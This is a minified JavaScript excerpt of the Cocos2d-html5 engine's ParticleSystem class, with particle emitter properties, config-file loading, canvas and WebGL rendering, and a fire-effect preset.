- b.o=b.m.extend({zC:"",ib:0,DJ:!1,Qb:null,Dd:null,ub:"ParticleSystem",FC:b.d(0,0),Hk:null,Rl:0,df:0,X:null,atlasIndex:0,wm:!1,Ru:0,gx:null,Ny:null,xo:!1,qd:0,duration:0,Io:null,Jk:null,Me:0,Cp:0,Fg:0,Wo:0,Rp:0,Sp:0,Nm:0,ep:0,xh:null,Qk:null,ze:null,uk:null,Tp:0,Up:0,fp:0,gp:0,Mm:0,mb:0,I:null,s:null,Pa:!1,Li:null,ws:!1,Da:0,zc:null,jb:null,sc:null,Pr:null,ma:null,ad:null,ctor:function(a){b.m.prototype.ctor.call(this);this.Da=b.o.eb;this.Qb=new b.o.Hz;this.Dd=new b.o.Iz;this.s={src:b.ac,R:b.$b};this.Hk=
- [];this.Io=b.d(0,0);this.Jk=b.d(0,0);this.xh=b.color(255,255,255,255);this.Qk=b.color(255,255,255,255);this.ze=b.color(255,255,255,255);this.uk=b.color(255,255,255,255);this.zC="";this.ib=0;this.DJ=!1;this.FC=b.d(0,0);this.df=this.Rl=0;this.X=null;this.atlasIndex=0;this.wm=!1;this.Ru=0;this.gx=b.o.BT;this.Ny=b.o.RQ;this.xo=!1;this.mb=this.Mm=this.gp=this.fp=this.Up=this.Tp=this.ep=this.Nm=this.Sp=this.Rp=this.Wo=this.Fg=this.Cp=this.Me=this.duration=this.qd=0;this.I=null;this.Pa=!1;this.Li=b.o.Oq;
- this.ws=!1;this.sc=[0,0];this.zc=[];this.jb=[];this.Pr=b.rect(0,0,0,0);this.ma=!0;b.B===b.W&&(this.ad=null);a&&"number"!==typeof a?a&&this.dl(a):(a=a||100,this.c5(b.o.eI),this.Pb(a))},qF:function(){for(var a=this.jb,c=0,d=this.mb;c<d;++c){var e=6*c,f=4*c;a[e+0]=f+0;a[e+1]=f+1;a[e+2]=f+2;a[e+5]=f+1;a[e+4]=f+2;a[e+3]=f+3}},iO:function(a){var c=b.pb(),d=b.rect(a.x*c,a.y*c,a.width*c,a.height*c),e=a.width,f=a.height;this.I&&(e=this.I.pixelsWidth,f=this.I.pixelsHeight);if(b.B!==b.Aa){b.wn?(a=(2*d.x+1)/
- (2*e),c=(2*d.y+1)/(2*f),e=a+(2*d.width-2)/(2*e),d=c+(2*d.height-2)/(2*f)):(a=d.x/e,c=d.y/f,e=a+d.width/e,d=c+d.height/f);var f=d,d=c,c=f,g=0,h=0;this.X?(f=this.X.textureAtlas.quads,g=this.atlasIndex,h=this.atlasIndex+this.mb):(f=this.zc,g=0,h=this.mb);for(;g<h;g++){f[g]||(f[g]=b.UI());var k=f[g];k.F.n.fa=a;k.F.n.ga=c;k.O.n.fa=e;k.O.n.ga=c;k.N.n.fa=a;k.N.n.ga=d;k.L.n.fa=e;k.L.n.ga=d}}},SE:function(){return this.X},ol:function(a){if(this.X!=a){var c=this.X;if(this.X=a)for(var d=this.Hk,e=0;e<this.mb;e++)d[e].atlasIndex=
- e;a?c||(this.X.textureAtlas.kW(this.zc,this.atlasIndex),b.l.deleteBuffer(this.sc[1])):(this.jJ(),this.qF(),this.Ya(c.Ca()),this.om())}},mp:function(){return this.atlasIndex},gG:function(a){this.atlasIndex=a},xca:function(){return this.gx},c5:function(a){this.gx=a},Qda:function(){return this.Ny},Kka:function(a){this.Ny=a},nf:function(){return this.xo},xda:function(){return this.qd},yka:function(a){this.qd=a},np:function(){return this.duration},Yf:function(a){this.duration=a},W1:function(){return{x:this.Io.x,
- y:this.Io.y}},E5:function(a){this.Io=a},bF:function(){return{x:this.Jk.x,y:this.Jk.y}},Wg:function(a){this.Jk=a},cda:function(){return this.Me},Ug:function(a){this.Me=a},dda:function(){return this.Cp},Vg:function(a){this.Cp=a},Xba:function(){return this.Fg},Pg:function(a){this.Fg=a},Yba:function(){return this.Wo},Qg:function(a){this.Wo=a},HN:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getGravity() : Particle Mode should be Gravity");var a=this.Qb.gravity;return b.d(a.x,a.y)},$f:function(a){this.Da!==
- b.o.eb&&b.log("cc.ParticleBatchNode.setGravity() : Particle Mode should be Gravity");this.Qb.gravity=a},qx:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getSpeed() : Particle Mode should be Gravity");return this.Qb.speed},Oe:function(a){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.setSpeed() : Particle Mode should be Gravity");this.Qb.speed=a},TN:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getSpeedVar() : Particle Mode should be Gravity");return this.Qb.speedVar},cg:function(a){this.Da!==
- b.o.eb&&b.log("cc.ParticleBatchNode.setSpeedVar() : Particle Mode should be Gravity");this.Qb.speedVar=a},YN:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getTangentialAccel() : Particle Mode should be Gravity");return this.Qb.tangentialAccel},Rj:function(a){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.setTangentialAccel() : Particle Mode should be Gravity");this.Qb.tangentialAccel=a},ZN:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getTangentialAccelVar() : Particle Mode should be Gravity");
- return this.Qb.tangentialAccelVar},Sj:function(a){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.setTangentialAccelVar() : Particle Mode should be Gravity");this.Qb.tangentialAccelVar=a},MN:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getRadialAccel() : Particle Mode should be Gravity");return this.Qb.radialAccel},ag:function(a){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.setRadialAccel() : Particle Mode should be Gravity");this.Qb.radialAccel=a},NN:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getRadialAccelVar() : Particle Mode should be Gravity");
- return this.Qb.radialAccelVar},bg:function(a){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.setRadialAccelVar() : Particle Mode should be Gravity");this.Qb.radialAccelVar=a},O1:function(){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.getRotationIsDir() : Particle Mode should be Gravity");return this.Qb.rotationIsDir},z5:function(a){this.Da!==b.o.eb&&b.log("cc.ParticleBatchNode.setRotationIsDir() : Particle Mode should be Gravity");this.Qb.rotationIsDir=a},WN:function(){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.getStartRadius() : Particle Mode should be Radius");
- return this.Dd.startRadius},bQ:function(a){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.setStartRadius() : Particle Mode should be Radius");this.Dd.startRadius=a},XN:function(){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.getStartRadiusVar() : Particle Mode should be Radius");return this.Dd.startRadiusVar},cQ:function(a){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.setStartRadiusVar() : Particle Mode should be Radius");this.Dd.startRadiusVar=a},EN:function(){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.getEndRadius() : Particle Mode should be Radius");
- return this.Dd.endRadius},IP:function(a){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.setEndRadius() : Particle Mode should be Radius");this.Dd.endRadius=a},FN:function(){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.getEndRadiusVar() : Particle Mode should be Radius");return this.Dd.endRadiusVar},JP:function(a){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.setEndRadiusVar() : Particle Mode should be Radius");this.Dd.endRadiusVar=a},ON:function(){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.getRotatePerSecond() : Particle Mode should be Radius");
- return this.Dd.vy},YP:function(a){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.setRotatePerSecond() : Particle Mode should be Radius");this.Dd.vy=a},PN:function(){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.getRotatePerSecondVar() : Particle Mode should be Radius");return this.Dd.wy},ZP:function(a){this.Da!==b.o.Te&&b.log("cc.ParticleBatchNode.setRotatePerSecondVar() : Particle Mode should be Radius");this.Dd.wy=a},gn:function(a,c){this.wm=!0;b.m.prototype.gn.call(this,a,c)},qG:function(a){this.wm=
- !0;b.m.prototype.qG.call(this,a)},Pp:function(a){this.wm=!0;b.m.prototype.Pp.call(this,a)},qt:function(a){this.wm=!0;b.m.prototype.qt.call(this,a)},Tda:function(){return this.Rp},Xg:function(a){this.Rp=a},Uda:function(){return this.Sp},Yg:function(a){this.Sp=a},Cca:function(){return this.Nm},Tg:function(a){this.Nm=a},Dca:function(){return this.ep},e5:function(a){this.ep=a},rx:function(){return b.color(this.xh.r,this.xh.g,this.xh.b,this.xh.a)},Pe:function(a){this.xh=b.color(a)},VN:function(){return b.color(this.Qk.r,
- this.Qk.g,this.Qk.b,this.Qk.a)},dg:function(a){this.Qk=b.color(a)},mx:function(){return b.color(this.ze.r,this.ze.g,this.ze.b,this.ze.a)},Ne:function(a){this.ze=b.color(a)},DN:function(){return b.color(this.uk.r,this.uk.g,this.uk.b,this.uk.a)},Zf:function(a){this.uk=b.color(a)},Vda:function(){return this.Tp},G5:function(a){this.Tp=a},Wda:function(){return this.Up},H5:function(a){this.Up=a},Eca:function(){return this.fp},f5:function(a){this.fp=a},Fca:function(){return this.gp},g5:function(a){this.gp=
- a},Aca:function(){return this.Mm},Rg:function(a){this.Mm=a},a2:function(){return this.mb},K5:function(a){if(b.B===b.Aa)this.mb=200>a?a:200;else{if(a>this.Ru){var c=b.zb.BYTES_PER_ELEMENT;this.jb=new Uint16Array(6*a);var d=new ArrayBuffer(a*c),e=this.Hk;e.length=0;for(var f=this.zc,g=f.length=0;g<a;g++)e[g]=new b.mg,f[g]=new b.zb(null,null,null,null,d,g*c);this.mb=this.Ru=a;if(this.X)for(c=0;c<a;c++)e[c].atlasIndex=c;this.ad=d;this.qF();this.om();this.I&&this.iO(b.rect(0,0,this.I.width,this.I.height))}else this.mb=
- a;this.B4()}},Ca:function(){return this.I},Ya:function(a){a.ic?this.wG(a,b.rect(0,0,a.width,a.height)):(this.ma=!1,a.Td(function(a){this.ma=!0;this.wG(a,b.rect(0,0,a.width,a.height))},this))},Gh:function(){return this.s},pe:function(a,c){if(void 0===c)this.s!=a&&(this.s=a,this.Nf());else if(this.s.src!=a||this.s.R!=c)this.s={src:a,R:c},this.Nf()},Uf:function(){return this.Pa},rf:function(a){this.Pa=a},F2:function(){return this.s.src==b.SRC_ALPHA&&this.s.R==b.ONE||this.s.src==b.ONE&&this.s.R==b.ONE},
- Ph:function(a){var c=this.s;a?(c.src=b.SRC_ALPHA,c.R=b.ONE):b.B===b.W?this.I&&!this.I.Ai()?(c.src=b.SRC_ALPHA,c.R=b.ONE_MINUS_SRC_ALPHA):(c.src=b.ac,c.R=b.$b):(c.src=b.ac,c.R=b.$b)},Ada:function(){return this.Li},Aka:function(a){this.Li=a},Nea:function(){return this.ws},tja:function(a){this.ws=a},Bca:function(){return this.Da},Sg:function(a){this.Da=a},ba:function(){return this.Pb(150)},dl:function(a){this.zC=a;a=b.V.Cd(a);return a?this.r2(a,""):(b.log("cc.ParticleSystem.initWithFile(): Particles: file not found"),
- !1)},U0:function(){return b.rect(0,0,b.Wa.width,b.Wa.height)},r2:function(a){var c=!1,d=null,d=this.SZ,e=parseInt(d("maxParticles",a));if(this.Pb(e)){this.Fg=parseFloat(d("angle",a));this.Wo=parseFloat(d("angleVariance",a));this.duration=parseFloat(d("duration",a));this.s.src=parseInt(d("blendFuncSource",a));this.s.R=parseInt(d("blendFuncDestination",a));c=this.xh;c.r=255*parseFloat(d("startColorRed",a));c.g=255*parseFloat(d("startColorGreen",a));c.b=255*parseFloat(d("startColorBlue",a));c.a=255*
- parseFloat(d("startColorAlpha",a));c=this.Qk;c.r=255*parseFloat(d("startColorVarianceRed",a));c.g=255*parseFloat(d("startColorVarianceGreen",a));c.b=255*parseFloat(d("startColorVarianceBlue",a));c.a=255*parseFloat(d("startColorVarianceAlpha",a));c=this.ze;c.r=255*parseFloat(d("finishColorRed",a));c.g=255*parseFloat(d("finishColorGreen",a));c.b=255*parseFloat(d("finishColorBlue",a));c.a=255*parseFloat(d("finishColorAlpha",a));c=this.uk;c.r=255*parseFloat(d("finishColorVarianceRed",a));c.g=255*parseFloat(d("finishColorVarianceGreen",
- a));c.b=255*parseFloat(d("finishColorVarianceBlue",a));c.a=255*parseFloat(d("finishColorVarianceAlpha",a));this.Rp=parseFloat(d("startParticleSize",a));this.Sp=parseFloat(d("startParticleSizeVariance",a));this.Nm=parseFloat(d("finishParticleSize",a));this.ep=parseFloat(d("finishParticleSizeVariance",a));this.T(parseFloat(d("sourcePositionx",a)),parseFloat(d("sourcePositiony",a)));this.Jk.x=parseFloat(d("sourcePositionVariancex",a));this.Jk.y=parseFloat(d("sourcePositionVariancey",a));this.Tp=parseFloat(d("rotationStart",
- a));this.Up=parseFloat(d("rotationStartVariance",a));this.fp=parseFloat(d("rotationEnd",a));this.gp=parseFloat(d("rotationEndVariance",a));this.Da=parseInt(d("emitterType",a));if(this.Da==b.o.eb)c=this.Qb,c.gravity.x=parseFloat(d("gravityx",a)),c.gravity.y=parseFloat(d("gravityy",a)),c.speed=parseFloat(d("speed",a)),c.speedVar=parseFloat(d("speedVariance",a)),e=d("radialAcceleration",a),c.radialAccel=e?parseFloat(e):0,e=d("radialAccelVariance",a),c.radialAccelVar=e?parseFloat(e):0,e=d("tangentialAcceleration",
- a),c.tangentialAccel=e?parseFloat(e):0,e=d("tangentialAccelVariance",a),c.tangentialAccelVar=e?parseFloat(e):0,e=d("rotationIsDir",a).toLowerCase(),c.rotationIsDir=null!=e&&("true"===e||"1"===e);else if(this.Da==b.o.Te)c=this.Dd,c.startRadius=parseFloat(d("maxRadius",a)),c.startRadiusVar=parseFloat(d("maxRadiusVariance",a)),c.endRadius=parseFloat(d("minRadius",a)),c.endRadiusVar=0,c.vy=parseFloat(d("rotatePerSecond",a)),c.wy=parseFloat(d("rotatePerSecondVariance",a));else return b.log("cc.ParticleSystem.initWithDictionary(): Invalid emitterType in config file"),
- !1;this.Me=parseFloat(d("particleLifespan",a));this.Cp=parseFloat(d("particleLifespanVariance",a));this.Mm=this.mb/this.Me;if(!this.X)if(this.Pa=!1,c=d("textureFileName",a),c=b.path.$o(this.zC,c),e=b.Ea.cl(c))this.Ya(e);else if((a=d("textureImageData",a))&&0!==a.length){d=b.CQ(a,1);if(!d)return b.log("cc.ParticleSystem: error decoding or ungzipping textureImageData"),!1;a=b.o1(d);if(a!==b.gH&&a!==b.tz)return b.log("cc.ParticleSystem: unknown image format with Data"),!1;e=b.Rb("canvas");a===b.tz?(new b.$S(d)).A4(e):
- b.A6.V3(d,e);b.Ea.E_(c,e);(a=b.Ea.cl(c))||b.log("cc.ParticleSystem.initWithDictionary() : error loading the texture");this.Ya(a)}else{e=b.Ea.Dc(c);if(!e)return!1;this.Ya(e)}c=!0}return c},Pb:function(a){this.mb=a;var c,d=this.Hk;for(c=d.length=0;c<a;c++)d[c]=new b.mg;if(!d)return b.log("Particle system: not enough memory"),!1;this.Ru=a;if(this.X)for(c=0;c<this.mb;c++)d[c].atlasIndex=c;this.xo=!0;this.s.src=b.ac;this.s.R=b.$b;this.Li=b.o.Oq;this.Da=b.o.eb;this.wm=this.ws=!1;this.zP(1);if(b.B===b.W){if(!this.jJ())return!1;
- this.qF();this.om();this.shaderProgram=b.Hd.nc(b.Vi)}return!0},Jaa:function(){this.BQ()},YZ:function(){if(this.I2())return!1;var a,c=this.Hk;b.B===b.Aa?this.qd<c.length?a=c[this.qd]:(a=new b.mg,c.push(a)):a=c[this.qd];this.p2(a);++this.qd;return!0},p2:function(a){var c=b.o4;a.sl=this.Me+this.Cp*c();a.sl=Math.max(0,a.sl);a.Xa.x=this.Io.x+this.Jk.x*c();a.Xa.y=this.Io.y+this.Jk.y*c();var d,e;d=this.xh;var f=this.Qk,g=this.ze;e=this.uk;b.B===b.Aa?(d=b.color(b.Qc(d.r+f.r*c(),0,255),b.Qc(d.g+f.g*c(),0,
- 255),b.Qc(d.b+f.b*c(),0,255),b.Qc(d.a+f.a*c(),0,255)),e=b.color(b.Qc(g.r+e.r*c(),0,255),b.Qc(g.g+e.g*c(),0,255),b.Qc(g.b+e.b*c(),0,255),b.Qc(g.a+e.a*c(),0,255))):(d={r:b.Qc(d.r+f.r*c(),0,255),g:b.Qc(d.g+f.g*c(),0,255),b:b.Qc(d.b+f.b*c(),0,255),a:b.Qc(d.a+f.a*c(),0,255)},e={r:b.Qc(g.r+e.r*c(),0,255),g:b.Qc(g.g+e.g*c(),0,255),b:b.Qc(g.b+e.b*c(),0,255),a:b.Qc(g.a+e.a*c(),0,255)});a.color=d;f=a.Ds;g=a.sl;f.r=(e.r-d.r)/g;f.g=(e.g-d.g)/g;f.b=(e.b-d.b)/g;f.a=(e.a-d.a)/g;d=this.Rp+this.Sp*c();d=Math.max(0,
- d);a.size=d;this.Nm===b.o.ng?a.FE=0:(e=this.Nm+this.ep*c(),e=Math.max(0,e),a.FE=(e-d)/g);d=this.Tp+this.Up*c();e=this.fp+this.gp*c();a.rotation=d;a.fN=(e-d)/g;this.Li==b.o.Oq?a.Oy=this.cx(this.FC):this.Li==b.o.vA&&(a.Oy.x=this.xa.x,a.Oy.y=this.xa.y);d=b.Pf(this.Fg+this.Wo*c());if(this.Da===b.o.eb)g=this.Qb,e=a.Qb,f=g.speed+g.speedVar*c(),e.dir.x=Math.cos(d),e.dir.y=Math.sin(d),b.Hp(e.dir,f),e.radialAccel=g.radialAccel+g.radialAccelVar*c(),e.tangentialAccel=g.tangentialAccel+g.tangentialAccelVar*c(),
- g.rotationIsDir&&(a.rotation=-b.WF(b.T3(e.dir)));else{e=this.Dd;a=a.Dd;var f=e.startRadius+e.startRadiusVar*c(),h=e.endRadius+e.endRadiusVar*c();a.ht=f;a.eN=e.endRadius===b.o.CT?0:(h-f)/g;a.Fg=d;a.bN=b.Pf(e.vy+e.wy*c())}},o6:function(){this.xo=!1;this.ib=this.duration;this.Rl=0},B4:function(){this.xo=!0;this.ib=0;var a=this.Hk;for(this.df=0;this.df<this.qd;++this.df)a[this.df].sl=0},I2:function(){return this.qd>=this.mb},M6:function(a,c){var d=null;this.X?(d=this.X.textureAtlas.quads[this.atlasIndex+
- a.atlasIndex],this.X.textureAtlas.dirty=!0):d=this.zc[this.df];var e,f,g,h;this.Pa?(e=0|a.color.r*a.color.a/255,f=0|a.color.g*a.color.a/255,g=0|a.color.b*a.color.a/255):(e=0|a.color.r,f=0|a.color.g,g=0|a.color.b);h=0|a.color.a;var k=d.F.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.O.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.N.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.L.t;k.r=e;k.g=f;k.b=g;k.a=h;e=a.size/2;if(a.rotation){f=-e;g=-e;h=c.x;var k=c.y,m=-b.Pf(a.rotation),p=Math.cos(m),m=Math.sin(m);d.F.i.x=f*p-g*m+h;d.F.i.y=f*m+g*p+k;d.O.i.x=
- e*p-g*m+h;d.O.i.y=e*m+g*p+k;d.N.i.x=f*p-e*m+h;d.N.i.y=f*m+e*p+k;d.L.i.x=e*p-e*m+h;d.L.i.y=e*m+e*p+k}else d.F.i.x=c.x-e,d.F.i.y=c.y-e,d.O.i.x=c.x+e,d.O.i.y=c.y-e,d.N.i.x=c.x-e,d.N.i.y=c.y+e,d.L.i.x=c.x+e,d.L.i.y=c.y+e},g4:function(){if(b.B===b.W){var a=b.l;a.bindBuffer(a.ARRAY_BUFFER,this.sc[0]);a.bufferData(a.ARRAY_BUFFER,this.ad,a.DYNAMIC_DRAW)}},update:function(a){if(this.xo&&this.Mm){var c=1/this.Mm;this.qd<this.mb&&(this.Rl+=a);for(;this.qd<this.mb&&this.Rl>c;)this.YZ(),this.Rl-=c;this.ib+=a;
- -1!=this.duration&&this.duration<this.ib&&this.o6()}this.df=0;c=b.mg.Bu[0];this.Li==b.o.Oq?b.Nj(c,this.cx(this.FC)):this.Li==b.o.vA&&(c.x=this.xa.x,c.y=this.xa.y);if(this.Zb){for(var d=b.mg.Bu[1],e=b.mg.Bu[2],f=b.mg.Bu[3],g=this.Hk;this.df<this.qd;){b.ly(d);b.ly(e);b.ly(f);var h=g[this.df];h.sl-=a;if(0<h.sl){if(this.Da==b.o.eb){var k=f,m=d,p=e;h.Xa.x||h.Xa.y?(b.Nj(m,h.Xa),b.R3(m)):b.ly(m);b.Nj(p,m);b.Hp(m,h.Qb.radialAccel);var q=p.x;p.x=-p.y;p.y=q;b.Hp(p,h.Qb.tangentialAccel);b.Nj(k,m);b.jy(k,p);
- b.jy(k,this.Qb.gravity);b.Hp(k,a);b.jy(h.Qb.dir,k);b.Nj(k,h.Qb.dir);b.Hp(k,a);b.jy(h.Xa,k)}else k=h.Dd,k.Fg+=k.bN*a,k.ht+=k.eN*a,h.Xa.x=-Math.cos(k.Fg)*k.ht,h.Xa.y=-Math.sin(k.Fg)*k.ht;this.DJ&&b.B!==b.W||(h.color.r+=h.Ds.r*a,h.color.g+=h.Ds.g*a,h.color.b+=h.Ds.b*a,h.color.a+=h.Ds.a*a,h.yO=!0);h.size+=h.FE*a;h.size=Math.max(0,h.size);h.rotation+=h.fN*a;k=d;this.Li==b.o.Oq||this.Li==b.o.vA?(m=e,b.Nj(m,c),b.dP(m,h.Oy),b.Nj(k,h.Xa),b.dP(k,m)):b.Nj(k,h.Xa);this.X&&(k.x+=this.xa.x,k.y+=this.xa.y);b.B==
- b.W?this.M6(h,k):b.Nj(h.Fs,k);++this.df}else if(h=h.atlasIndex,this.df!==this.qd-1&&(k=g[this.df],g[this.df]=g[this.qd-1],g[this.qd-1]=k),this.X&&(this.X.a0(this.atlasIndex+h),g[this.qd-1].atlasIndex=h),--this.qd,0==this.qd&&this.ws){this.BQ();this.Nc.removeChild(this,!0);return}}this.wm=!1}this.X||this.g4()},P6:function(){this.update(0)},SZ:function(a,c){if(c){var d=c[a];return null!=d?d:""}return""},Nf:function(){if(this.X)b.log("Can't change blending functions when the particle is being batched");
- else{var a=this.I;if(a&&a instanceof b.da){this.Pa=!1;var c=this.s;c.src==b.ac&&c.R==b.$b&&(a.Ai()?this.Pa=!0:(c.src=b.SRC_ALPHA,c.R=b.ONE_MINUS_SRC_ALPHA))}}},k:function(){var a=new b.o;if(a.Pb(this.mb)){a.Pg(this.Fg);a.Qg(this.Wo);a.Yf(this.np());var c=this.Gh();a.pe(c.src,c.R);a.Pe(this.rx());a.dg(this.VN());a.Ne(this.mx());a.Zf(this.DN());a.Xg(this.Rp);a.Yg(this.Sp);a.Tg(this.Nm);a.e5(this.ep);a.T(b.d(this.x,this.y));a.Wg(b.d(this.bF().x,this.bF().y));a.G5(this.Tp||0);a.H5(this.Up||0);a.f5(this.fp||
- 0);a.g5(this.gp||0);a.Sg(this.Da);this.Da==b.o.eb?(c=this.HN(),a.$f(b.d(c.x,c.y)),a.Oe(this.qx()),a.cg(this.TN()),a.ag(this.MN()),a.bg(this.NN()),a.Rj(this.YN()),a.Sj(this.ZN())):this.Da==b.o.Te&&(a.bQ(this.WN()),a.cQ(this.XN()),a.IP(this.EN()),a.JP(this.FN()),a.YP(this.ON()),a.ZP(this.PN()));a.Ug(this.Me);a.Vg(this.Cp);a.Rg(this.Mm);if(!this.X&&(a.rf(this.Uf()),c=this.Ca())){var d=c.Sf();a.wG(c,b.rect(0,0,d.width,d.height))}}return a},a5:function(a){var c=a.D1();0==c.x&&0==c.y||b.log("cc.ParticleSystem.setDisplayFrame(): QuadParticle only supports SpriteFrames with no offsets");
- b.B===b.W&&(this.I&&a.Ca().Sd==this.I.Sd||this.Ya(a.Ca()))},wG:function(a,c){var d=this.I;b.B===b.W?d&&a.Sd==d.Sd||d==a||(this.I=a,this.Nf()):d&&a==d||d==a||(this.I=a,this.Nf());this.Pr=c;this.iO(c)},Z:function(a){this.ma&&!this.X&&(b.B===b.Aa?this.Ql(a):this.aj(a),b.lf++)},Ql:function(a){a=a||b.l;a.save();a.globalCompositeOperation=this.F2()?"lighter":"source-over";for(var c=this.I.Oa,d=0;d<this.qd;d++){var e=this.Hk[d],f=0|0.5*e.size;if(this.gx==b.o.eI){if(c.width&&c.height){a.save();a.globalAlpha=
- e.color.a/255;a.translate(0|e.Fs.x,-(0|e.Fs.y));var f=4*Math.floor(e.size/4),g=this.Pr.width,h=this.Pr.height;a.scale(Math.max(1/g*f,1E-6),Math.max(1/h*f,1E-6));e.rotation&&a.rotate(b.Pf(e.rotation));a.translate(-(0|g/2),-(0|h/2));(e=e.yO?this.Zd(c,e.color,this.Pr):c)&&a.drawImage(e,0,0);a.restore()}}else a.save(),a.globalAlpha=e.color.a/255,a.translate(0|e.Fs.x,-(0|e.Fs.y)),this.Ny==b.o.DT?(e.rotation&&a.rotate(b.Pf(e.rotation)),b.ye.k0(a,f,e.color)):b.ye.d0(a,f,e.color),a.restore()}a.restore()},
- Zd:function(a,c,d){a.Pi||(a.Pi=document.createElement("canvas"),a.Pi.width=a.width,a.Pi.height=a.height);return b.Rm(a,c,d,a.Pi)},aj:function(a){this.I&&(a=a||b.l,this.Eb.Ic(),this.Eb.Re(),b.oe(this.I),b.cO(this.s.src,this.s.R),b.Ec(b.Jl),a.bindBuffer(a.ARRAY_BUFFER,this.sc[0]),a.vertexAttribPointer(b.ob,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.ve,4,a.UNSIGNED_BYTE,!0,24,12),a.vertexAttribPointer(b.vd,2,a.FLOAT,!1,24,16),a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.sc[1]),a.drawElements(a.TRIANGLES,
- 6*this.df,a.UNSIGNED_SHORT,0))},$ga:function(){b.kA||this.om()},x$:function(){},om:function(){if(b.B!=b.Aa){var a=b.l;this.sc[0]=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,this.sc[0]);a.bufferData(a.ARRAY_BUFFER,this.ad,a.DYNAMIC_DRAW);this.sc[1]=a.createBuffer();a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.sc[1]);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.jb,a.STATIC_DRAW)}},jJ:function(){if(b.B===b.Aa)return!0;if(this.X)return b.log("cc.ParticleSystem._allocMemory(): Memory should not be allocated when not using batchNode"),
- !1;var a=b.zb.BYTES_PER_ELEMENT,c=this.mb,d=this.zc;d.length=0;this.jb=new Uint16Array(6*c);for(var e=new ArrayBuffer(a*c),f=0;f<c;f++)d[f]=new b.zb(null,null,null,null,e,f*a);if(!d||!this.jb)return b.log("cocos2d: Particle system: not enough memory"),!1;this.ad=e;return!0}});n=b.o.prototype;b.B!==b.Aa||b.pa.Bw||(n.Zd=function(a,c,d){var e=b.Ea.sx(a);return e?(e.Pi||(e.Pi=document.createElement("canvas"),e.Pi.width=a.width,e.Pi.height=a.height),b.Qm(a,e,c,d,e.Pi),e.Pi):null});
- b.j(n,"opacityModifyRGB",n.Uf,n.rf);b.j(n,"batchNode",n.SE,n.ol);b.j(n,"active",n.nf);b.j(n,"sourcePos",n.W1,n.E5);b.j(n,"posVar",n.bF,n.Wg);b.j(n,"gravity",n.HN,n.$f);b.j(n,"speed",n.qx,n.Oe);b.j(n,"speedVar",n.TN,n.cg);b.j(n,"tangentialAccel",n.YN,n.Rj);b.j(n,"tangentialAccelVar",n.ZN,n.Sj);b.j(n,"radialAccel",n.MN,n.ag);b.j(n,"radialAccelVar",n.NN,n.bg);b.j(n,"rotationIsDir",n.O1,n.z5);b.j(n,"startRadius",n.WN,n.bQ);b.j(n,"startRadiusVar",n.XN,n.cQ);b.j(n,"endRadius",n.EN,n.IP);
- b.j(n,"endRadiusVar",n.FN,n.JP);b.j(n,"rotatePerS",n.ON,n.YP);b.j(n,"rotatePerSVar",n.PN,n.ZP);b.j(n,"startColor",n.rx,n.Pe);b.j(n,"startColorVar",n.VN,n.dg);b.j(n,"endColor",n.mx,n.Ne);b.j(n,"endColorVar",n.DN,n.Zf);b.j(n,"totalParticles",n.a2,n.K5);b.j(n,"texture",n.Ca,n.Ya);b.o.create=function(a){return new b.o(a)};b.o.Daa=b.o.create;
- b.o.Hz=function(a,c,d,e,f,g,h,k){this.gravity=a?a:b.d(0,0);this.speed=c||0;this.speedVar=d||0;this.tangentialAccel=e||0;this.tangentialAccelVar=f||0;this.radialAccel=g||0;this.radialAccelVar=h||0;this.rotationIsDir=k||!1};b.o.Iz=function(a,c,d,e,f,g){this.startRadius=a||0;this.startRadiusVar=c||0;this.endRadius=d||0;this.endRadiusVar=e||0;this.vy=f||0;this.wy=g||0};b.o.BT=0;b.o.eI=1;b.o.DT=0;b.o.RQ=1;b.o.Sh=-1;b.o.ng=-1;b.o.CT=-1;b.o.eb=0;b.o.Te=1;b.o.Oq=0;b.o.vA=1;b.o.s9=2;b.HH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?300:150)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.ag(0),this.bg(0),this.Oe(60),this.cg(20),this.Pg(90),this.Qg(10),a=b.J.ya(),this.T(a.width/2,60),this.Wg(b.d(40,20)),this.Ug(3),this.Vg(0.25),this.Xg(54),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(194,64,31,255)),this.dg(b.color(0,0,0,0)),this.Ne(b.color(0,0,0,255)),this.Zf(b.color(0,
- 0,0,0)),this.Ph(!0),!0):!1}});b.HH.create=function(){return new b.HH};
